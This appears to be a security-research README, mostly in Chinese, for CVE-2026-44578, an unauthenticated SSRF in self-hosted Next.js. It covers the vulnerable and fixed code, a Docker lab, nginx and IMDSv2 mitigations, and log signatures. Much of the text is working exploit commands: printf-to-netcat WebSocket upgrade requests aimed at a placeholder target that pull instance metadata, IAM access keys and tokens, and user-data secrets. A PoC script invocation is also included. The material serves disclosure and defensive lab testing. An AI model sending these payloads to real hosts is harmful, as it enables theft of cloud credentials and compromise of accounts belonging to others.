
CVE-2026-44578: Next.js WebSocket Upgrade SSRF — pre-auth credential theft via localhost:80. Lab + exploit + audit.
预认证的服务端请求伪造漏洞,影响 Next.js 自托管部署。
通过单个精心构造的 HTTP 请求即可从 localhost:80 提取 AWS 凭证、密钥及内部服务数据。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 高危 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| 类型 | SSRF (CWE-918) |
| 受影响版本 | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4(仅自托管) |
| 修复版本 | 15.5.16, 16.2.5 |
| 是否需要认证 | 否 |
| 是否需要用户交互 | 否 |
router-server.ts 中的 WebSocket 升级处理程序在 parsedUrl.protocol 为真值时调用 proxyRequest(),而未检查 HTTP 处理程序一直强制检查的 finished 和 statusCode 路由完成标志。
// router-server.ts — 升级处理程序
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// 修复(提交 c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
在 normalizeRepeatedSlashes 将 http:/// 压缩为 http:/ 后,主机名为空,http-proxy 会以正确的路径连接到 localhost:80。任何同位置的服务(云元数据、管理面板、内部 API)都将暴露。
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curl无法发送绝对形式 URI。请使用原始 TCP:nc、ncat、socat或 Python socket。
攻击者 Next.js(存在漏洞) localhost:80(IMDS/服务)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" 匹配正则 |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | 返回: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | 错误:仅检查 protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + 凭证 |
| |<-----------------------------|
| 200 OK + 凭证 | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
这将启动 5 个容器:
IMDS sidecar 使用 network_mode: "service:nextjs-*",因此伪造的元数据服务位于 Next.js 容器内的 localhost:80,以模拟真实云实例。
# 完整测试套件(7 个 SSRF 探测)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# 单一凭证提取
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# 确认已修复实例被阻断
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
所有容器已启动——存在漏洞的(15.5.15)位于 :3000,已修复的(15.5.16)位于 :3001,IMDS sidecar 共享网络命名空间。
单个请求返回完整的 EC2 元数据目录(ami-id、instance-id、iam/、placement/ 等)
完整的 IAM 凭证集:AccessKeyId、SecretAccessKey、Token 和 Expiration。
EC2 user-data 启动脚本,包含 DB_PASSWORD 和 API_KEY。
通过同一 SSRF 向量提取的实例 ID。
对 Next.js 15.5.16 发送相同载荷。连接立即关闭——无数据返回。
伪造 IMDS 日志显示来自 127.0.0.1(Next.js 进程)的 GET 请求,证明 SSRF 发生在服务端。
所有 7 个 SSRF 测试在存在漏洞的实例上都返回敏感数据。
所有 7 个测试在已修复实例上均被阻断。修复确认。
# 1. 列出元数据类别
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. 实例 ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. 发现 IAM 角色
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. 提取 IAM 凭证
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data 密钥
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
将 T 替换为目标主机,将 ROLE 替换为 IAM 角色名称。
# Nginx:拒绝绝对形式的请求 URI
if ($request_uri ~* "^https?://") {
return 400;
}
在 AWS 上:强制使用 IMDSv2(HttpTokens=required)。
日志特征:
Failed to proxy http:/ — 代理触发但目标不可达http:///path 变体不产生任何错误日志——监控请求行中包含 http: 的 WebSocket 升级仅供授权的安全测试、教育和防御性研究使用。仅针对您拥有或获得明确书面许可的系统进行测试。
| 容器 | 角色 | 暴露端口 |
|---|
nextjs-vuln | Next.js 15.5.15(存在漏洞) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16(已修复) | localhost:3001 |
imds-sidecar-vuln | 与漏洞实例共享网络的伪造 AWS IMDSv1 | localhost:80(从漏洞实例视角) |
imds-sidecar-fixed | 与修复实例共享网络的伪造 AWS IMDSv1 | localhost:80(从修复实例视角) |
internal-api | 内部服务模拟 | — |
| 限制项 | 详情 |
|---|
| HTTP 方法 | 仅 GET |
| 目标 | localhost:80(规范化后主机名被剥离) |
| AWS IMDSv2 | 不可利用(需要 PUT) |
| GCP 元数据 | 不可利用(拒绝 Upgrade 头) |
| Vercel 托管 | 不受影响 |
| 位于反向代理后 | nginx/Caddy/HAProxy 会阻止绝对形式 URI |
| 来源 | 链接 |
|---|